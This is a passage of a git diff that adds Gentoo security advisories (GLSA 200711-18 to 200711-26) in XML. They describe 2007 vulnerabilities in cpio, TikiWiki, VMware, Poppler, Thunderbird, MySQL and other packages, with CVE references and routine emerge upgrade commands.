+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Unauthenticated remote attackers could exploit these vulnerabilities to
+    determine the existence of files or to read the contents of arbitrary
+    XML files; conduct session fixation attacks and gain unauthorized
+    access; and to execute arbitrary HTML and script code in a user's
+    browser session in context of an affected site by enticing a user to
+    browse a specially crafted URL.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Ruby on Rails users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-ruby/rails-1.2.5&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3227">CVE-2007-3227</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5379">CVE-2007-5379</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5380">CVE-2007-5380</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 07 Nov 2007 08:24:34 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 07 Nov 2007 20:49:09 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 09 Nov 2007 19:31:01 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200711-18.xml b/xml/htdocs/security/en/glsa/glsa-200711-18.xml
new file mode 100644
index 00000000..97d8d95d
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200711-18.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200711-18">
+  <title>Cpio: Buffer overflow</title>
+  <synopsis>
+    GNU cpio contains a buffer overflow vulnerability, possibly resulting in a
+    Denial of Service.
+  </synopsis>
+  <product type="ebuild">cpio</product>
+  <announced>November 14, 2007</announced>
+  <revised>November 14, 2007: 01</revised>
+  <bug>196978</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-arch/cpio" auto="yes" arch="*">
+      <unaffected range="ge">2.9-r1</unaffected>
+      <vulnerable range="lt">2.9-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    GNU cpio copies files into or out of a cpio or tar archive.
+    </p>
+  </background>
+  <description>
+    <p>
+    A buffer overflow vulnerability in the safer_name_suffix() function in
+    GNU cpio has been discovered.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted
+    archive file resulting in a stack-based buffer overflow, possibly
+    crashing the application. It is disputed whether the execution of
+    arbitrary code is possible.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All GNU cpio users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-arch/cpio-2.9-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4476">CVE-2007-4476</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 07 Nov 2007 19:52:13 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 07 Nov 2007 20:48:37 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 08 Nov 2007 18:58:10 +0000">
+    keytoaster
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200711-19.xml b/xml/htdocs/security/en/glsa/glsa-200711-19.xml
new file mode 100644
index 00000000..fc935eb5
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200711-19.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200711-19">
+  <title>TikiWiki: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been discovered in TikiWiki, possibly
+    resulting in the remote execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">tikiwiki</product>
+  <announced>November 14, 2007</announced>
+  <revised>November 14, 2007: 01</revised>
+  <bug>195503</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/tikiwiki" auto="yes" arch="*">
+      <unaffected range="ge">1.9.8.3</unaffected>
+      <vulnerable range="lt">1.9.8.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    TikiWiki is an open source content management system written in PHP.
+    </p>
+  </background>
+  <description>
+    <p>
+    Stefan Esser reported that a previous vulnerability (CVE-2007-5423,
+    GLSA 200710-21) was not properly fixed in TikiWiki 1.9.8.1
+    (CVE-2007-5682). The TikiWiki development team also added several
+    checks to avoid file inclusion.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could exploit these vulnerabilities to inject
+    arbitrary code with the privileges of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All TikiWiki users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/tikiwiki-1.9.8.3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200710-21.xml">GLSA 200710-21</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5423">CVE-2007-5423</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5682">CVE-2007-5682</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 27 Oct 2007 13:39:33 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 03 Nov 2007 23:20:18 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 13 Nov 2007 23:14:54 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200711-20.xml b/xml/htdocs/security/en/glsa/glsa-200711-20.xml
new file mode 100644
index 00000000..ee7710d1
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200711-20.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200711-20">
+  <title>Pioneers: Multiple Denials of Service</title>
+  <synopsis>
+    Two Denial of Service vulnerabilities were discovered in Pioneers.
+  </synopsis>
+  <product type="ebuild">pioneers</product>
+  <announced>November 14, 2007</announced>
+  <revised>November 29, 2007: 04</revised>
+  <bug>198807</bug>
+  <access>remote</access>
+  <affected>
+    <package name="games-board/pioneers" auto="yes" arch="*">
+      <unaffected range="ge">0.11.3-r1</unaffected>
+      <vulnerable range="lt">0.11.3-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Pioneers (formerly gnocatan) is a clone of the popular board game "The
+    Settlers of Catan".
+    </p>
+  </background>
+  <description>
+    <p>
+    Roland Clobus discovered that the Pioneers server may free sessions
+    objects while they are still in use, resulting in access to invalid
+    memory zones (CVE-2007-5933). Bas Wijnen discovered an error when
+    closing connections which can lead to a failed assertion
+    (CVE-2007-6010).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could send specially crafted data to the vulnerable
+    server, resulting in a Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Pioneers users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=games-board/pioneers-0.11.3-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5933">CVE-2007-5933</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6010">CVE-2007-6010</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 11 Nov 2007 15:28:52 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 13 Nov 2007 22:49:53 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 13 Nov 2007 23:00:46 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200711-21.xml b/xml/htdocs/security/en/glsa/glsa-200711-21.xml
new file mode 100644
index 00000000..4d11264c
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200711-21.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200711-21">
+  <title>Bochs: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been discovered in Bochs, possibly allowing
+    for the execution of arbitrary code or a Denial of Service.
+  </synopsis>
+  <product type="ebuild">bochs</product>
+  <announced>November 17, 2007</announced>
+  <revised>November 17, 2007: 01</revised>
+  <bug>188148</bug>
+  <access>local</access>
+  <affected>
+    <package name="app-emulation/bochs" auto="yes" arch="*">
+      <unaffected range="ge">2.3</unaffected>
+      <vulnerable range="lt">2.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Bochs is a IA-32 (x86) PC emulator written in C++.
+    </p>
+  </background>
+  <description>
+    <p>
+    Tavis Ormandy of the Google Security Team discovered a heap-based
+    overflow vulnerability in the NE2000 driver (CVE-2007-2893). He also
+    discovered a divide-by-zero error in the emulated floppy disk
+    controller (CVE-2007-2894).
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A local attacker in the guest operating system could exploit these
+    issues to execute code outside of the virtual machine, or cause Bochs
+    to crash.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Bochs users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-emulation/bochs-2.3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2893">CVE-2007-2893</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2894">CVE-2007-2894</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 29 Sep 2007 14:10:20 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 29 Sep 2007 14:11:15 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 01 Nov 2007 20:22:24 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200711-22.xml b/xml/htdocs/security/en/glsa/glsa-200711-22.xml
new file mode 100644
index 00000000..db2d60ba
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200711-22.xml
@@ -0,0 +1,120 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200711-22">
+  <title>Poppler, KDE: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    Poppler and various KDE components are vulnerable to multiple memory
+    management issues possibly resulting in the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">poppler koffice kword kdegraphics kpdf</product>
+  <announced>November 18, 2007</announced>
+  <revised>November 18, 2007: 01</revised>
+  <bug>196735</bug>
+  <bug>198409</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-text/poppler" auto="yes" arch="*">
+      <unaffected range="ge">0.6.1-r1</unaffected>
+      <vulnerable range="lt">0.6.1-r1</vulnerable>
+    </package>
+    <package name="kde-base/kpdf" auto="yes" arch="*">
+      <unaffected range="rge">3.5.7-r3</unaffected>
+      <unaffected range="ge">3.5.8-r1</unaffected>
+      <vulnerable range="lt">3.5.8-r1</vulnerable>
+    </package>
+    <package name="kde-base/kdegraphics" auto="yes" arch="*">
+      <unaffected range="rge">3.5.7-r3</unaffected>
+      <unaffected range="ge">3.5.8-r1</unaffected>
+      <vulnerable range="lt">3.5.8-r1</vulnerable>
+    </package>
+    <package name="app-office/kword" auto="yes" arch="*">
+      <unaffected range="ge">1.6.3-r2</unaffected>
+      <vulnerable range="lt">1.6.3-r2</vulnerable>
+    </package>
+    <package name="app-office/koffice" auto="yes" arch="*">
+      <unaffected range="ge">1.6.3-r2</unaffected>
+      <vulnerable range="lt">1.6.3-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Poppler is a cross-platform PDF rendering library originally based on
+    Xpdf. KOffice is an integrated office suite for KDE. KWord is the
+    KOffice word processor. KPDF is a KDE-based PDF viewer included in the
+    kdegraphics package.
+    </p>
+  </background>
+  <description>
+    <p>
+    Alin Rad Pop (Secunia Research) discovered several vulnerabilities in
+    the "Stream.cc" file of Xpdf: An integer overflow in the
+    DCTStream::reset() method and a boundary error in the
+    CCITTFaxStream::lookChar() method, both leading to heap-based buffer
+    overflows (CVE-2007-5392, CVE-2007-5393). He also discovered a boundary
+    checking error in the DCTStream::readProgressiveDataUnit() method
+    causing memory corruption (CVE-2007-4352). Note: Gentoo's version of
+    Xpdf is patched to use the Poppler library, so the update to Poppler
+    will also fix Xpdf.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By enticing a user to view or process a specially crafted PDF file with
+    KWord or KPDF or a Poppler-based program such as Gentoo's viewers Xpdf,
+    ePDFView, and Evince or the CUPS printing system, a remote attacker
+    could cause an overflow, potentially resulting in the execution of
+    arbitrary code with the privileges of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Poppler users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-text/poppler-0.6.1-r1&quot;</code>
+    <p>
+    All KPDF users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=kde-base/kpdf-3.5.7-r3&quot;</code>
+    <p>
+    All KDE Graphics Libraries users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=kde-base/kdegraphics-3.5.7-r3&quot;</code>
+    <p>
+    All KWord users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-office/kword-1.6.3-r2&quot;</code>
+    <p>
+    All KOffice users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-office/koffice-1.6.3-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4352">CVE-2007-4352</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5392">CVE-2007-5392</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5393">CVE-2007-5393</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Tue, 13 Nov 2007 00:47:07 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 18 Nov 2007 00:30:13 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200711-23.xml b/xml/htdocs/security/en/glsa/glsa-200711-23.xml
new file mode 100644
index 00000000..2cf06dff
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200711-23.xml
@@ -0,0 +1,112 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200711-23">
+  <title>VMware Workstation and Player: Multiple vulnerabilities</title>
+  <synopsis>
+    VMware guest operating systems might be able to execute arbitrary code with
+    elevated privileges on the host operating system through multiple flaws.
+  </synopsis>
+  <product type="ebuild">vmware-workstation vmware-player</product>
+  <announced>November 18, 2007</announced>
+  <revised>April 16, 2008: 03</revised>
+  <bug>193196</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-emulation/vmware-workstation" auto="yes" arch="*">
+      <unaffected range="ge">5.5.5.56455</unaffected>
+      <vulnerable range="lt">5.5.5.56455</vulnerable>
+      <vulnerable range="eq">6.0.0.45731</vulnerable>
+    </package>
+    <package name="app-emulation/vmware-player" auto="yes" arch="*">
+      <unaffected range="ge">1.0.5.56455</unaffected>
+      <vulnerable range="lt">1.0.5.56455</vulnerable>
+      <vulnerable range="eq">2.0.0.45731</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    VMware Workstation is a virtual machine for developers and system
+    administrators. VMware Player is a freeware virtualization software
+    that can run guests produced by other VMware products.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities have been discovered in several VMware
+    products. Neel Mehta and Ryan Smith (IBM ISS X-Force) discovered that
+    the DHCP server contains an integer overflow vulnerability
+    (CVE-2007-0062), an integer underflow vulnerability (CVE-2007-0063) and
+    another error when handling malformed packets (CVE-2007-0061), leading
+    to stack-based buffer overflows or stack corruption. Rafal Wojtczvk
+    (McAfee) discovered two unspecified errors that allow authenticated
+    users with administrative or login privileges on a guest operating
+    system to corrupt memory or cause a Denial of Service (CVE-2007-4496,
+    CVE-2007-4497). Another unspecified vulnerability related to untrusted
+    virtual machine images was discovered (CVE-2007-5617).
+    </p>
+    <p>
+    VMware products also shipped code copies of software with several
+    vulnerabilities: Samba (GLSA-200705-15), BIND (GLSA-200702-06), MIT
+    Kerberos 5 (GLSA-200707-11), Vixie Cron (GLSA-200704-11), shadow
+    (GLSA-200606-02), OpenLDAP (CVE-2006-4600), PAM (CVE-2004-0813,
+    CVE-2007-1716), GCC (CVE-2006-3619) and GDB (CVE-2006-4146).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Remote attackers within a guest system could possibly exploit these
+    vulnerabilities to execute code on the host system with elevated
+    privileges or to cause a Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All VMware Workstation users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-emulation/vmware-workstation-5.5.5.56455&quot;</code>
+    <p>
+    All VMware Player users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-emulation/vmware-player-1.0.5.56455&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0813">CVE-2004-0813</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3619">CVE-2006-3619</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4146">CVE-2006-4146</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4600">CVE-2006-4600</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0061">CVE-2007-0061</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0062">CVE-2007-0062</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0063">CVE-2007-0063</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1716">CVE-2007-1716</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4496">CVE-2007-4496</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4497">CVE-2007-4497</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5617">CVE-2007-5617</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200606-02.xml">GLSA-200606-02</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200702-06.xml">GLSA-200702-06</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200704-11.xml">GLSA-200704-11</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200705-15.xml">GLSA-200705-15</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200707-11.xml">GLSA-200707-11</uri>
+    <uri link="http://lists.vmware.com/pipermail/security-announce/2007/000001.html">VMSA-2007-0006</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 07 Nov 2007 01:24:32 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 13 Nov 2007 02:06:33 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 15 Nov 2007 23:43:42 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200711-24.xml b/xml/htdocs/security/en/glsa/glsa-200711-24.xml
new file mode 100644
index 00000000..2dc240e5
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200711-24.xml
@@ -0,0 +1,82 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200711-24">
+  <title>Mozilla Thunderbird: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been reported in Mozilla Thunderbird, which
+    may allow user-assisted arbitrary remote code execution.
+  </synopsis>
+  <product type="ebuild">mozilla-thunderbird mozilla-thunderbird-bin</product>
+  <announced>November 18, 2007</announced>
+  <revised>November 18, 2007: 01</revised>
+  <bug>196481</bug>
+  <access>remote</access>
+  <affected>
+    <package name="mail-client/mozilla-thunderbird" auto="yes" arch="*">
+      <unaffected range="ge">2.0.0.9</unaffected>
+      <vulnerable range="lt">2.0.0.9</vulnerable>
+    </package>
+    <package name="mail-client/mozilla-thunderbird-bin" auto="yes" arch="*">
+      <unaffected range="ge">2.0.0.9</unaffected>
+      <vulnerable range="lt">2.0.0.9</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Mozilla Thunderbird is a popular open-source email client from the
+    Mozilla project.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities have been reported in Mozilla Thunderbird's
+    HTML browser engine (CVE-2007-5339) and JavaScript engine
+    (CVE-2007-5340) that can be exploited to cause a memory corruption.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to read a specially crafted email
+    that could trigger one of the vulnerabilities, possibly leading to the
+    execution of arbitrary code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time for all of these issues, but
+    some of them can be avoided by disabling JavaScript.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Mozilla Thunderbird users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=mail-client/mozilla-thunderbird-2.0.0.9&quot;</code>
+    <p>
+    All Mozilla Thunderbird binary users should upgrade to the latest
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=mail-client/mozilla-thunderbird-bin-2.0.0.9&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5339">CVE-2007-5339</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5340">CVE-2007-5340</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200711-14.xml">GLSA 200711-14</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 18 Nov 2007 13:53:08 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 18 Nov 2007 19:54:39 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 18 Nov 2007 19:58:25 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200711-25.xml b/xml/htdocs/security/en/glsa/glsa-200711-25.xml
new file mode 100644
index 00000000..f26a8558
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200711-25.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200711-25">
+  <title>MySQL: Denial of Service</title>
+  <synopsis>
+    A Denial of Service vulnerability was found in MySQL.
+  </synopsis>
+  <product type="ebuild">mysql</product>
+  <announced>November 18, 2007</announced>
+  <revised>November 18, 2007: 01</revised>
+  <bug>198988</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-db/mysql" auto="yes" arch="*">
+      <unaffected range="ge">5.0.44-r2</unaffected>
+      <vulnerable range="lt">5.0.44-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    MySQL is a popular multi-threaded, multi-user SQL server.
+    </p>
+  </background>
+  <description>
+    <p>
+    Joe Gallo and Artem Russakovskii reported an error in the
+    convert_search_mode_to_innobase() function in ha_innodb.cc in the
+    InnoDB engine that is leading to a failed assertion when handling
+    CONTAINS operations.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote authenticated attacker with ALTER privileges could send a
+    specially crafted request to a vulnerable database server possibly
+    leading to a Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All MySQL users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-db/mysql-5.0.44-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5925">CVE-2007-5925</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 18 Nov 2007 14:18:51 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 18 Nov 2007 20:09:52 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 18 Nov 2007 20:10:13 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200711-26.xml b/xml/htdocs/security/en/glsa/glsa-200711-26.xml
new file mode 100644
index 00000000..e8dd045f
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200711-26.xml
@@ -0,0 +1,77 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200711-26">
+  <title>teTeX: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been discovered in teTeX, possibly allowing
+    to execute arbitrary code or overwrite arbitrary files.
+  </synopsis>
+  <product type="ebuild">tetex</product>
+  <announced>November 18, 2007</announced>
+  <revised>November 18, 2007: 01</revised>
+  <bug>198238</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-text/tetex" auto="yes" arch="*">
+      <unaffected range="ge">3.0_p1-r6</unaffected>
+      <vulnerable range="lt">3.0_p1-r6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    teTeX is a complete TeX distribution for editing documents.
+    </p>
+  </background>
+  <description>
+    <p>
+    Joachim Schrod discovered several buffer overflow vulnerabilities and
+    an insecure temporary file creation in the "dvilj" application that is
+    used by dvips to convert DVI files to printer formats (CVE-2007-5937,
+    CVE-2007-5936). Bastien Roucaries reported that the "dvips" application
+    is vulnerable to two stack-based buffer overflows when processing DVI
+    documents with long \href{} URIs (CVE-2007-5935). teTeX also includes
+    code from Xpdf that is vulnerable to a memory corruption and two
+    heap-based buffer overflows (GLSA 200711-22); and it contains code from
+    T1Lib that is vulnerable to a buffer overflow when processing an overly
+    long font filename (GLSA 200710-12).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to process a specially crafted
+    DVI or PDF file which could lead to the execution of arbitrary code
